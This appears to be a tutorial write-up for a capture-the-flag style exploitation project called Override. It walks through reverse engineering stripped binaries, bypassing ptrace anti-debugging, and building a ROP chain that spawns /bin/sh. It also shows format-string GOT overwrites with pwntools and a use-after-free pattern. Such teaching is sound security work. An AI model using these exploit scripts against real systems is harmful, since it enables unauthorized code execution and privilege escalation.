Override - Advanced Reverse Engineering and Binary Exploitation
Introduction :
Reverse engineering involves disassembling and analyzing compiled binary executables to deduce their logic, structure, and potential vulnerabilities without access to the original source code. In advanced exploitation, attackers must circumvent binary protection mechanisms applied by the compiler and operating system — mechanisms such as ASLR (Address Space Layout Randomization), NX/DEP (No-Execute bit), Stack Canaries, and PIE (Position Independent Executables). Override is the project where all of these protections collide, and the exploit developer must defeat each one methodically.
Project goals :
Override is the culmination of the 1337 system security track, building directly on the foundations laid by Rainfall and Snow Crash. It requires intense reverse engineering of stripped, 32-bit x86 ELF binaries. The goal is to bypass logic checks, dismantle bomb-lab style executables, and exploit complex memory corruption vulnerabilities including off-by-one, format string bugs, and Use-After-Free (UAF) in order to gain a root shell on each level.
Binary Protections Overview :
Before diving into each level, it is essential to understand what defenses the binary employs. Use checksec (from the pwntools suite or as a standalone script) to audit protection flags:
1
2
3
4
5
6
7
$ checksec --file=./level01
[*] './level01'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
| Protection | Description | Impact on Exploitation |
|---|---|---|
| ASLR | OS randomizes base addresses of stack, heap, and libraries at each run | Breaks hardcoded addresses; requires info-leak or brute force |
| NX/DEP | Stack and heap pages are marked non-executable | Shellcode injection on stack is blocked; requires ROP |
| Stack Canary | A random value placed before the saved return address | Overwrites are detected before function return |
| PIE | Binary itself is loaded at a random address | Breaks all hardcoded binary addresses; requires info-leak |
| RELRO | GOT (Global Offset Table) is made read-only | Blocks GOT overwrite technique |
Walkthrough :
:one: Static Analysis of Stripped Binaries :
A stripped binary lacks debugging symbols (function names, variable names). Use tools like objdump, Ghidra, or IDA Pro to disassemble and decompile the binary back into C-like pseudocode. The first step is always to understand the binary’s overall structure.
1
2
3
4
5
6
$ file ./level01
level01: ELF 32-bit LSB executable, Intel 80386, dynamically linked, stripped
$ objdump -d -M intel ./level01 | head -50
$ strings ./level01 | grep -i "pass\|auth\|flag\|win"
In Ghidra, load the binary and let the auto-analyzer run. Navigate to the entry point (_start), identify the call to __libc_start_main, and from there locate the main function. Rename functions and variables as you understand their purpose to progressively reconstruct the source code.
:two: Dynamic Tracing with GDB and PEDA :
Run the binary within GDB augmented with the PEDA (Python Exploit Development Assistance) extension to get color-coded context, pattern generation, and pattern offset finding.
1
2
3
4
$ gdb -q ./level01
gdb-peda$ start
gdb-peda$ info functions
gdb-peda$ disas main
Trace system calls to see what files the program reads, what sockets it opens, and what signals it handles — often revealing hardcoded paths or expected inputs:
1
2
$ strace ./level01 2>&1 | grep -E "open|read|write"
$ ltrace ./level01 2>&1 | grep -E "strcmp|strncmp|memcmp"
The ltrace output is particularly valuable: if the program calls strcmp(user_input, "s3cr3t_p4ss"), the correct password is immediately visible in the trace.
:three: Reconstructing Logic Puzzles from Assembly :
Some levels require inputting precise data structures or passwords derived from complex mathematical transformations embedded in the binary. Analyze the x86 assembly instructions to reverse the operations.
Example — a checksum loop found via Ghidra pseudocode:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
; Reconstruct the following C logic from assembly:
; int checksum = 0;
; for (int i = 0; i < 8; i++) {
; checksum ^= input[i] * (i + 1);
; }
; if (checksum != 0xDEAD) { exit(1); }
; Assembly equivalent:
08048450 <check>:
8048450: xor eax, eax ; checksum = 0
8048452: xor ecx, ecx ; i = 0
.loop:
8048454: mov edx, [ebp+ecx-0x28]
8048458: inc ecx
8048459: imul edx, ecx
804845b: xor eax, edx ; checksum ^= input[i] * (i+1)
804845d: cmp ecx, 8
8048460: jl .loop
8048462: cmp eax, 0xDEAD
8048467: jne fail
Write a small Python script to brute-force or reverse-calculate the required input:
1
2
3
4
#!/usr/bin/env python3
target = 0xDEAD
# Solve for input bytes that produce the required checksum
# ...
:four: Defeating Anti-Debugging (ptrace checks) :
Executables may implement ptrace checks to detect if they are being run under a debugger. If a debugger is attached, the ptrace(PTRACE_TRACEME, ...) call fails (returns -1), and the program exits.
1
2
3
4
5
// Anti-debug pattern in C:
if (ptrace(PTRACE_TRACEME, 0, 1, 0) < 0) {
puts("Debugger detected!");
exit(1);
}
Method 1 — Patch the return value in GDB:
Set a breakpoint on the ptrace call, let it execute, then manually overwrite EAX with 0 before the comparison:
1
2
3
4
gdb-peda$ break *0x08048512
gdb-peda$ run
gdb-peda$ set $eax = 0
gdb-peda$ continue
Method 2 — NOP out the conditional jump:
Find the jl/jne instruction that follows the check in memory and patch the bytes to 0x90 0x90 (NOP NOP) using GDB’s set command:
1
gdb-peda$ set *(short*)0x08048517 = 0x9090
Method 3 — LD_PRELOAD hook:
Write a shared library that overrides ptrace to always return 0:
1
2
3
4
5
6
7
8
// antidebug_bypass.c
#include <sys/ptrace.h>
long ptrace(enum __ptrace_request request, ...) {
return 0;
}
$ gcc -shared -fPIC -o bypass.so antidebug_bypass.c
$ LD_PRELOAD=./bypass.so ./level01
:five: Stack-Based Buffer Overflow with ROP Chains :
When NX is enabled, the stack is non-executable, so classic shellcode injection is blocked. Instead, use Return-Oriented Programming (ROP) — chaining together small sequences of existing executable code (called “gadgets”) ending in a ret instruction to perform arbitrary operations.
Step 1 — Find the overflow offset:
1
2
3
4
gdb-peda$ pattern create 200
gdb-peda$ run <<< $(python3 -c "print('A'*200)")
gdb-peda$ pattern offset $eip
# Output: 112 found at offset: 112
Step 2 — Find ROP gadgets:
1
2
3
4
5
$ ROPgadget --binary ./level01 --rop | grep "pop eax"
0x080484f3 : pop eax ; ret
$ ROPgadget --binary ./level01 --rop | grep "int 0x80"
0x08048507 : int 0x80
Step 3 — Build a execve("/bin/sh", NULL, NULL) ROP chain:
For a 32-bit Linux execve syscall: eax=0xb, ebx → /bin/sh, ecx=0, edx=0.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3
from struct import pack
padding = b'A' * 112
binsh_addr = 0x08049abc # address of "/bin/sh" string found via ROPgadget or strings
rop = pack('<I', 0x080484f3) # pop eax ; ret
rop += pack('<I', 0x0000000b) # syscall number for execve
rop += pack('<I', 0x080484e1) # pop ebx ; ret
rop += pack('<I', binsh_addr) # ptr to "/bin/sh"
rop += pack('<I', 0x080484d2) # pop ecx ; pop edx ; ret
rop += pack('<I', 0x00000000) # ecx = NULL
rop += pack('<I', 0x00000000) # edx = NULL
rop += pack('<I', 0x08048507) # int 0x80
payload = padding + rop
with open('/tmp/payload', 'wb') as f:
f.write(payload)
$ (cat /tmp/payload; cat) | ./level01
# Shell spawned!
:six: Format String Exploitation :
A format string vulnerability occurs when user-controlled input is passed directly as the format argument to printf, sprintf, or similar functions. This allows reading arbitrary memory (using %x or %s) and — critically — writing arbitrary values to arbitrary memory addresses (using %n).
1
2
// Vulnerable code:
printf(user_input); // WRONG — should be printf("%s", user_input)
Reading the stack:
1
2
$ echo "%08x.%08x.%08x.%08x" | ./levelXX
ffbe1234.00000000.08048abc.deadbeef
Writing to an address (GOT overwrite):
%n writes the number of bytes printed so far to the address pointed to by the corresponding argument. By carefully crafting the format string and controlling the stack, you can overwrite the GOT entry of a function like exit to redirect execution to system:
1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python3
import struct
# Overwrite GOT entry for exit() with address of system()
got_exit = 0x0804a018 # address of exit@got.plt
addr_system = 0x080484b0 # address of system() or one_gadget
# Use pwntools fmtstr_payload for automation:
from pwn import *
payload = fmtstr_payload(6, {got_exit: addr_system})
p = process('./levelXX')
p.sendline(payload)
p.interactive()
:seven: Heap Exploitation — Use-After-Free (UAF) :
A Use-After-Free vulnerability occurs when a program frees a heap chunk and then continues to use a pointer to that chunk. An attacker can allocate a new chunk of the same size, filling it with controlled data, which the program then interprets through the dangling pointer — often leading to function pointer hijack.
1
2
3
4
5
6
7
8
9
10
11
12
// Simplified UAF pattern:
struct Auth { char name[32]; int auth; };
struct Service { char cmd[128]; };
struct Auth *a = malloc(sizeof(struct Auth));
free(a); // Auth freed
struct Service *s = malloc(sizeof(struct Service)); // reuses same chunk
strcpy(s->cmd, user_input);
if (a->auth) { // a is dangling, reads from s's memory!
spawn_shell();
}
The exploit strategy:
- Allocate the
Authstruct and trigger thefree. - Allocate the
Servicestruct (same size → same heap chunk via glibc bins). - Write a non-zero value at the correct offset within
Service->cmdso thata->authreads a non-zero value. - Trigger the privileged code path.
Questions and answers
:question: What does it mean when a binary is “stripped”?
Stripping a binary removes symbolic information — function names, variable identifiers, and source line mappings — that are normally embedded for debugging. The
striputility (or GCC’s-sflag) performs this. It significantly reduces file size but forces the reverse engineer to work purely from raw assembly and memory addresses. Modern decompilers like Ghidra can partially recover structure by identifying common library call signatures through FLIRT (Fast Library Identification and Recognition Technology) signatures.
:question: What is the EAX register and what are the general-purpose registers in x86?
In 32-bit x86, there are eight general-purpose registers.
EAX(Accumulator) stores arithmetic results and the return value of function calls (per the cdecl convention).EBX(Base) is a callee-saved general purpose register often used as a base pointer in GOT-relative addressing.ECX(Counter) is used in loop and string instructions.EDX(Data) is used in multiplication/division and as a second argument in syscalls.ESI/EDIare source and destination index registers for string operations.ESP(Stack Pointer) always points to the top of the stack.EBP(Base Pointer) frames the current function’s stack.
:question: What is an off-by-one vulnerability and how can it lead to code execution?
An off-by-one vulnerability is a boundary condition error where code reads or writes exactly one element beyond the intended buffer — typically caused by using
<=instead of<in a loop, or mishandling null terminators. On the stack, a single extra byte can overwrite the least significant byte (LSB) of the savedEBP. This shifts the frame pointer by up to 255 bytes when the function returns, redirecting the stack to attacker-controlled data upon the nextretinstruction — a technique called “off-by-one into EBP.”
:question: What is Return-Oriented Programming (ROP) and why is it necessary?
ROP is an exploitation technique that bypasses the NX/DEP memory protection, which marks the stack and heap as non-executable. Since classic shellcode injection into the stack would immediately cause a segfault on NX-enabled systems, ROP chains together small sequences of existing legitimate executable code called “gadgets” — each ending with a
retinstruction. By carefully controlling the stack with a sequence of gadget addresses and their arguments, an attacker can execute arbitrary logic purely from existing code pages, which are always executable.
:question: What is the Global Offset Table (GOT) and why is it an exploitation target?
When a Linux ELF binary calls a shared library function (e.g.,
printf,exit,system), the linker uses a two-step mechanism: the Procedure Linkage Table (PLT) and the Global Offset Table (GOT). The GOT is a writable data section that stores the resolved runtime addresses of library functions. WhenPartial RELROis in effect (the default), the GOT is writable. Overwriting a GOT entry (e.g., replacing the address ofexitwith the address ofsystem) means that the next call toexit("/bin/sh")in the program will actually callsystem("/bin/sh")instead.
:question: How does ASLR affect exploitation and what are the common bypasses?
ASLR randomizes the base load addresses of the stack, heap, and shared libraries on every execution, making hardcoded absolute addresses unreliable. Common bypasses include: (1) Information Leak — finding a vulnerability that leaks a runtime address (e.g., a format string
%sleak of a GOT entry) to defeat randomization and compute other addresses at runtime. (2) Brute Force — on 32-bit systems, ASLR entropy is only ~16 bits for the stack, making repeated guessing feasible. (3) Partial Overwrite — only overwriting the LSB(s) of a pointer to redirect to a nearby address within the same loaded page (which is not randomized).
Ressources :
- Ghidra Reverse Engineering Tool : https://ghidra-sre.org/
- LiveOverflow Security Exploit Series : https://liveoverflow.com/
- Understanding Anti-Debugging Techniques : https://anti-reversing.com/
- pwntools CTF Exploit Framework : https://docs.pwntools.com/en/stable/
- ROPgadget Tool : https://github.com/JonathanSalwan/ROPgadget
- ROP Emporium (practice challenges) : https://ropemporium.com/
- Linux x86 Syscall Table : https://syscalls.kernelgrok.com/
- Format String Exploitation Tutorial : https://axcheron.github.io/exploit-101-format-strings/
- How2Heap — Heap Exploitation Techniques : https://github.com/shellphish/how2heap